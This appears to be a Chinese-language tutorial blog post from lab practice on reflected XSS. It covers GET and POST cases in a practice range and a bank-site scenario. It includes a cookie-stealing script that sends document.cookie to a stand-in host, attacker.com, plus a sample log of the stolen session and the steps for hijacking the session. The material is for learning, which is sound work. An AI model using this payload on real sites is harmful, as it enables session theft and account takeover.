跨站脚本攻击xss(cross site scripting),为不和层叠样式表(cascading style sheets)的缩写混淆，所以叫xss.发生在前端页面。XSS 攻击是指攻击者在 Web 页面中注入恶意的脚本代码（通常是 JavaScript），当用户浏览该页面时，这段代码会被浏览器执行，从而达到窃取用户信息、伪装用户身份、破坏页面结构等目的。

核心原理：Web 应用程序信任了用户的输入，并且在没有进行任何处理（转义 / 过滤）的情况下，将用户输入的内容输出到了浏览器页面上。浏览器无法区分这段代码是 “原本的网页内容” 还是 “恶意脚本”，因此照单全收并执行。

反射型 XSS (Reflected XSS)

• 特点：非持久化。攻击脚本通常包含在 URL 中，服务器将其 “反射” 回浏览器。受害者通常需要点击一个恶意链接才会中招。
• 场景：搜索框、错误提示页面、用户输入直接显示在页面上的地方。

get/post的区别在于我们构造的js在url中能否被直接观察到

get

在输入框内随意的输入一段字符串，提交后的结果如图：

查看页面源代码  ->  ctrl+F  ->  在搜索框输入jdu

我们输入的内容在<p.......</p>里面，那我们在输入框里面输入<script>......</script>,它里面的内容就会被前端执行

但是在构造js代码的时候，发现输入长度不够，我们打开web开发者工具，将length的长度改的大一点

构造的代码为<script>alert("what")</script>,submit后会显示一个弹窗，观察url也可以发现我们的js代码

如果将此url复制到新的窗口打开，我们依旧会看到弹窗

post

我们先登录，用户名/密码为admin/123456,登录后在输入框中以同样的方式输入js代码，submit后会显示一个弹窗，观察url，发现我们的url中没有显示出我们构造的js代码，所以当我们再次访问这个网址的时候不会像get型那样再次显示弹窗。

其实这里还有一点关于cookie的内容，但是我一直获得不了cookie的数据，我的xss后台已经配置好了，可能是我还没有弄清楚post.html和cookie.php的地址到底该使用哪一个吧，解决后，继续更新。

到这里，靶场的内容就结束了，我们用一个场景去再次理解反射型XSS的原理：

1. 场景还原

 A（攻击者）、B（受害者）和 Web 应用（目标网站）代入进去：

1. A（攻击者）的发现：A 发现 www.bank.com 的搜索功能有漏洞。他自己构造了一个 URL：www.bank.com/search?keyword=<script>偷Cookie()</script>A 自己点开这个链接，发现确实弹窗了（或者偷到了自己的 Cookie）。此时，B 是完全不知情的，也没有任何损失。

2. A 的传播：A 不能干等着 B 自己去搜索这个恶意代码（概率几乎为零）。所以，A 必须把这个 URL 发给 B。

3. B 的触发：B 收到了链接（可能是邮件、QQ、短信），点击了它。

4. 漏洞利用（关键步骤）：

   • B 的浏览器向 www.bank.com 发送请求。
   • 服务器接收到请求，把 URL 里的恶意代码原封不动地 “反射” 回 B 的页面。
   • 关键点来了：B 的浏览器执行了这段代码。
   • 结果：代码是在 B 的电脑上 运行的，所以成功偷走了 B 的 Cookie（B 的登录凭证）。

如果 A 不把链接发给 B，B 就不会中招。这就是为什么它叫 “非持久化” 的原因 —— 恶意代码只存在于那个 URL 里，一旦 B 关闭页面，代码就消失了。

那A怎么知道B中招了呢？

这涉及到了攻击链中最核心的一环 ——“数据回传”（Data Exfiltration）。

如果 A 只是写了个弹窗脚本（alert('XSS')），那 B 的电脑上只会弹个框，A 根本不知道 B 中招了，也拿不到任何数据。这叫 “Poc”（概念验证），只能证明漏洞存在，没有实际破坏力。

要真正 “获利” 并知道 B 中招，A 必须搭建一个 “接收端”。

---

一、 核心原理：回调机制

1. B 的浏览器（执行端）：就像一个听话的工人，执行了 A 植入的 JS 代码。
2. A 的服务器（接收端）：就像 A 开的一家 “废品收购站”。
3. 恶意脚本（指令）：A 写在脚本里的指令是：“工人（B），你把你手里的工资条（Cookie）撕下来，塞进一个信封，寄到我开的废品收购站（A 的服务器）去。”

二、 具体实现过程

第一步：A 搭建一个简单的服务器（接收端）

A 在家里的电脑或者租的云服务器上，运行一个简单的 Web 服务（甚至不需要数据库，只需要能记录访问日志就行）。假设 A 的服务器域名是 attacker.com。

第二步：A 构造恶意脚本（发送端）

A 不再用简单的 alert，而是用 fetch 或者 img 标签发起一个请求。

脚本逻辑如下：

“嘿，浏览器，去请求 attacker.com 这个地址，并且把当前页面的 Cookie 当作参数带过去。”

代码示例（利用图片标签）：

html

预览

<script>
    // document.cookie 就是 B 的登录凭证
    // 这里发起一个请求到 A 的服务器，把 Cookie 带在 URL 后面
    new Image().src = "http://attacker.com/steal.php?data=" + document.cookie;
</script>

第三步：B 中招，触发发送

当 B 点击链接，浏览器执行这段代码时，B 的浏览器会悄悄地向 attacker.com 发送一个请求：GET http://attacker.com/steal.php?data=B的Cookie信息;SessionID=123456...

第四步：A 查看结果（在哪里看？）

这时候，A 只需要查看自己服务器（attacker.com）上的访问日志（Access Log）。

A 看到的日志长这样：

text

// A 的服务器日志
111.111.111.111 - - [22/Jan/2026:10:00:00] "GET /steal.php?data=Cookie=AdminUser;Session=XYZ HTTP/1.1" 200

注：111.111.111.111 是 B 的 IP 地址。

A 看到这行日志，就知道：

1. 有人中招了：因为有人访问了 /steal.php。
2. 是谁中招了：看到了 IP 地址（111.111.111.111）。
3. 拿到了什么：看到了 data= 后面跟着的 Cookie=AdminUser...。

---

三、 总结：A 是怎么知道的？

1. 不需要 B 反馈：B 全程是被动的，甚至不知道自己发了数据给 A。
2. 全靠日志记录：A 的服务器就像一个 “捕鼠夹”，B 的浏览器触发了夹子，夹子上的计数器（日志）就会增加。
3. 现代工具自动化：在实际的黑客攻击中，A 通常不会手动看日志。他们会使用专门的工具，比如 BeEF (The Browser Exploitation Framework) 或者在线平台 XSS Hunter。
   • A 生成一个专属的恶意链接。
   • 一旦有人点击，A 的手机或控制台会直接弹出通知：“抓到一只肉鸡！IP 是 xxx，浏览器是 Chrome，已获取 Cookie。”

四、 补充：A 拿到 Cookie 后能做什么？

A 看到日志里的 SessionID=123456 后，他不会只是看看而已，他会：

1. 打开浏览器。
2. 访问 www.bank.com。
3. 利用浏览器插件（如 EditThisCookie），把偷来的 123456 填进去。
4. 刷新页面。
5. 结果：银行服务器检查 Cookie，发现是 123456，认为 A 就是 B，于是 A 成功登录了 B 的账号，不需要密码。

这就是完整的攻击闭环。